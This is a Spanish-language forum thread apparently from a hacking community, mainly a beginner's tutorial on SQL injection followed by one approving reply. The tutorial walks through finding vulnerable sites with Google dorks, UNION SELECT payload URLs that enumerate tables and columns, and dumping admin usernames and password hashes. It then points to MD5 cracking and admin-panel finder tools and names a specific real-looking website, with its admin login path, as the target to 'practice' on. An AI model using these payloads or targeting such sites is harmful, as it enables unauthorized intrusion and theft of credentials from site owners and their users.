Un mundo negro o blanco por descubril
¿Quieres reaccionar a este mensaje? Regístrate en el foro con unos pocos clics o inicia sesión para continuar.

Aqui puedes aprender de nuetro conocimiento informactico


No estás conectado. Conéctate o registrate

Tutorial de Inyección SQL para principiantes

2 participantes

Ir abajo  Mensaje [Página 1 de 1.]

Inyetrol

Inyetrol
Admin

Primero y antes que nada, debemos saber muy bien los conceptos de cada uno que tocaremos en este tema.
Tutorial de Inyección SQL para principiantes SQLinjection_log_rootnet
¿Qué es SQL?
Significa un Lenguaje de Consulta Estructurado (en ingles Structured Query Languaje). Como su nombre lo indica es un lenguaje para tener acceso a una Base de Datos que nos permite realizar varias operaciones en ella, como poder guardar información privada de un sitio web, contraseñas, nombres, y otras cosas.

Sin embargo, muchos CMS Sistema de Gestión de Contenidos (en ingles Content Management System) utilizan SQL para acceder a una Base de Datos (PhpMyAdmin) y guardar información.

CMS (Sistema de Gestión de Contenidos) no es ningún tipo de programa literalmente, sin embargo, es programado para que los usuarios tengan la facilidad de crear su pagina web utilizando una base de datos.
Algunos CMS son muy populares como lo son; SMF, Wordpress, y Blogger entre otros.

¿Y qué significa SQLi?
Son la abreviatura de SQL Injection. Aunque, SQLi es un bug bastante viejo, existen CMS o páginas web con esta vulnerabilidad.

Debido que es un post para principiantes y un poco largo, no iré muy a fondo sobre los conceptos, por eso mejor aquí la dejamos y vamos al tutorial.

¿Donde puedo encontrar paginas vulnerables a SQLi?
En Google, sin embargo, existen Dorks (Palabras claves para poder encontrar CMS vulnerables con facilidad). De cualquier manera no es muy difícil encontrar sitios (Probablemente) vulnerables a SQLi.
Tutorial de Inyección SQL para principiantes Google
Solo es cuestión de ingeniarse las palabras claves para encontrar sitios Web con este bug.
¿No entendiste? La Inyección SQL se empieza por encontrar en una url muy parecido a esto: /index.php?id=28, sin embargo, la inyección se comienza en la variable id=28.

Un ejemplo de como buscar en Google
1) Nos dirigimos a la pagina de Google y en el buscador colocamos esto id = cat index.php?
Nota: Actualmente Google ha actualizado su buscador, ha mejorado sus herramientas, y la interfaz grafica.

Tutorial de Inyección SQL para principiantes Sin+t%25C3%25ADtulo-1

2) También podemos utilizar la barra lateral Izquierda para encontrar más sitios vulnerables.

Tutorial de Inyección SQL para principiantes Buscador+de+google

¿Como saber si la página es vulnerable?
Bastante sencillo, tan solo colocar una ' (Comillas, coma, punto, cualquier caracter) al final de la variable es decir /index.php?id=28' nos deberá marcar un error más o menos así (Puede variar los errores, pero el más común entre ellos es este):

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

¿Como? ¿Osea es vulnerable o no?
Déjame explicarlo, muchos administradores no tienen idea lo fácil que es arreglar este bug (SQLi) en su pagina web, lo que ellos hacen es unicamente agregar una función en PHP para evitar que se muestren los errores de la web es un error muy grave que cometen los webmaster, ni más ni menos, este es el sencillo código PHP que utilizan:

<?php error_reporting(0); ?>

Cabe mencionar que es un error muy común por parte de los administradores, ya que eso no arregla el bug, sin embargo, el bug sigue allí.. Es un problema para la seguridad de su sitio, ya que el atacante podrá darse cuenta y seguir intentando hasta tener el usuario y contraseña de la administración fácilmente.

Ahora ya habíamos visto que nos lanzo un error anteriormente y que si era vulnerable, ahora es tiempo de buscar hasta encontrar la columna vulnerable.
Un ejemplo sencillo de como empezar la inyección tenemos lo siguiente /index.php?cat=45 ahora antes de la variable (45) y después del signo (=) agregaremos el signo de menos (-) deberá quedar así.

/articulo.php?articulo=-230 y agregamos el union y select y empezamos a partir del numero 1 o el numero 0.
/articulo.php?articulo=-230+union+select+1-- (Muy importante poner los dos últimos guiones).
/articulo.php?articulo=-230+union+select+1,2,3-- (Es importante poner la coma entre cada numero)


Seguiremos así, hasta que no nos vuelva salir error como el anterior

¿Como sabre si el numero de la columna es vulnerable?
Al momento que veas uno o más números en la web y que no haya un error quiere decir que le hemos dado a la columna vulnerable, un ejemplo real:
Tutorial de Inyección SQL para principiantes Columns_vulnerables

Lo que esta marcado en recuadro esos números no son errores, y en la barra de direcciones esta la semi-inyección.
En resumen los números marca que podemos concluir la inyección en este caso me iré sobre el numero 2 (color azul).
Hay que tener en cuenta también, la versión de la base de datos si es 5.*.* - comunity se podrán sacar los nombres de las tablas y columnas, si de lo contrario es inferior a la versión 5, es decir versión 4 no se podrá extraer los nombres de las tablas y/o columnas, se tiene que hacer a ciegas y es un poco tedioso.
Para saber la versión de la base de datos (SQL) solo agregamos al final de union+select+1,2,3,4,5 database()

Tercera fase
Sacando nombre de las Tablas
Desde la barra de direcciones remplazamos el numero 2 por group_concat(table_name) debe quedar algo así:
/articulo.php?articulo=-230+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables--

También es importante agregar el +from+information_schema.tables-- al final, después ingresamos esa url y nos da como resultado todos los nombres de las tablas que existen en la Base de dados.
Ejemplo real:
Tutorial de Inyección SQL para principiantes SQLi-Tables

Nota | Como se ve en la imagen, tenemos como resultado los nombres de las tablas. Pero hay un pequeño problema, el tamaño de la página nos limita a que solo veamos una cierta cantidad de numero de tablas (Por naturaleza).
Sin embargo, no hay nada que nos impida, pues gracias a una función de SQL podemos utilizar otra alternativa, en este caso será la opción limit que nos permitirá limitar el rango de registro, y así poder acceder a la tabla del administrador o la de usuarios.

En este caso hay que hacer lo siguiente, quitamos group_concat() y solo dejamos table_name y al final de information_schema.tables agregamos +limit+1,1-- así quedará la url:

/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+1,1--

Lo cuál nos mostrará el nombre de la primer tabla, es decir, tendremos que buscar la tabla en donde se encuentra la del admin o la de usuarios
Nota | Puedes seguir utilizando la misma serie de 10 en 10 para que sea más rápido de encontrar la tabla de usuarios, ya que esta en orden alfabético de la a - z.

Un ejemplo sencillo:
/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+10,1--
La tabla es KEY_COLUMN_USAGE (No es la que buscamos)


/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+20,1--
La tabla es SESSION_VARIABLES (No es la que buscamos)

/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+30,1--,1--
La tabla es cotizaciones (No es la que buscamos, pero estamos un poco cerca..)


Y así, hasta dar con el nombre de la tabla uno que diga: admin, administrador, usuarios, users, usuaris, etc.. (Puede variar los nombres de las tablas y columnas por el idioma)
/articulo.php?articulo=-230+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+38,1--
La tabla es admin (¡¡ Bingo, es la que buscamos !!)

Una ves que tengamos el nombre de la tabla que queremos y es en este caso admin vamos a convertirla en ASCII les dejo la herramienta online para el conversor de String a ASCII | http://easycalculation.com/ascii-hex.php
admin = 97 100 109 105 110
Como ven, la cadena admin esta en ASCII.

Extracción de columnas de la tabla
Cuarta fase

Ahora modificamos nuestra url algo que quede así (incluyendo admin, pero convertida en ASCII):
Nota | Lo marcado en negritas es lo que modifico la url anterior.
/articulo.php?articulo=-230+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name=char(97,100,109,105,110)--

email, contrasena, usuario, pwd

Tutorial de Inyección SQL para principiantes Columns_sqli

Otra alternativa pero utilizando la misma opción es utilizando el limit lo cuál solo nos imprimirá el rango de la columna que le indiquemos.
Ejemplo:
/articulo.php?articulo=-230+union+select+1,column_name,3,4,5+from+information_schema.columns+where+table_name=char(97,100,109,105,110)+limit+0,1--

Esta parte es la más fácil, ya que lo anterior era lo complicado. Supongamos que ya sabemos los nombres de la tabla en este caso es admin y las columnas que nos interesan son usuario y pwd (contraseña), ahora hay que extraer los datos de esas dos columnas y para eso hacemos lo siguiente.:
Nota | Recuerda que lo remarcado en negritas es lo que cambia la url anterior.
/articulo.php?articulo=-230+union+select+1,group_concat(usuario,0x3a,pwd),3,4,5+from+admin--

Tutorial de Inyección SQL para principiantes SQLInjection

Con esa simple inyección nos mostrará el usuario y contraseña de la administración.
Tutorial de Inyección SQL para principiantes SQLInjection

: = 0x3a (Hexadecimal)
usuario = Columna
pwd = Columna
admin = Tabla

La contraseña esta encriptada en MD5 Hash
Es lo peor que viene en este caso al no poder ver la contraseña real cuando esta encriptada en MD5 Hash.
Pero gracias a que existen herramientas y diccionarios para crackear MD5 las contraseñas se pueden desencriptar.
Pero hay que tener muy en cuenta que no todos los Hash son MD5 puede variar el tipo de Hash por la seguridad del CMS, hay contraseñas encriptadas en SHA-1, MD4, Base64, etc.. Son muy diferentes al MD5.
Pero les dejo una lista para que puedan diferenciar el tipo de Hash |http://www.insidepro.com/hashes.php
también una herramienta en PHP para crackear Hash MD5 Online, tienen que subirlo a un FTP.
Herramienta crack MD5 Hash online mult.

¿No encuentro el login o la administración de la página?
Por suerte también existen herramientas para poder encontrar el path en la que se encuentre el login de la administración, acá les dejo uno codeado por neutralised | Admin Panel Finder PHP.

Pagina para practicar
Como se pudieron dar cuenta, este tutorial me guié en una pagina vulnerable y esa pagina es esta:
http://www.ancvm.com/articulo.php?articulo=-230

Administración de la pagina, la administración de la web esta en este path
http://www.ancvm.com/admin/login.php

Espero que le aya servido

Saludo by inyetrol king

https://inyetrolbot.activo.mx

TroYanRat

TroYanRat

Buen tutorial bounce

Volver arriba  Mensaje [Página 1 de 1.]

Permisos de este foro:
No puedes responder a temas en este foro.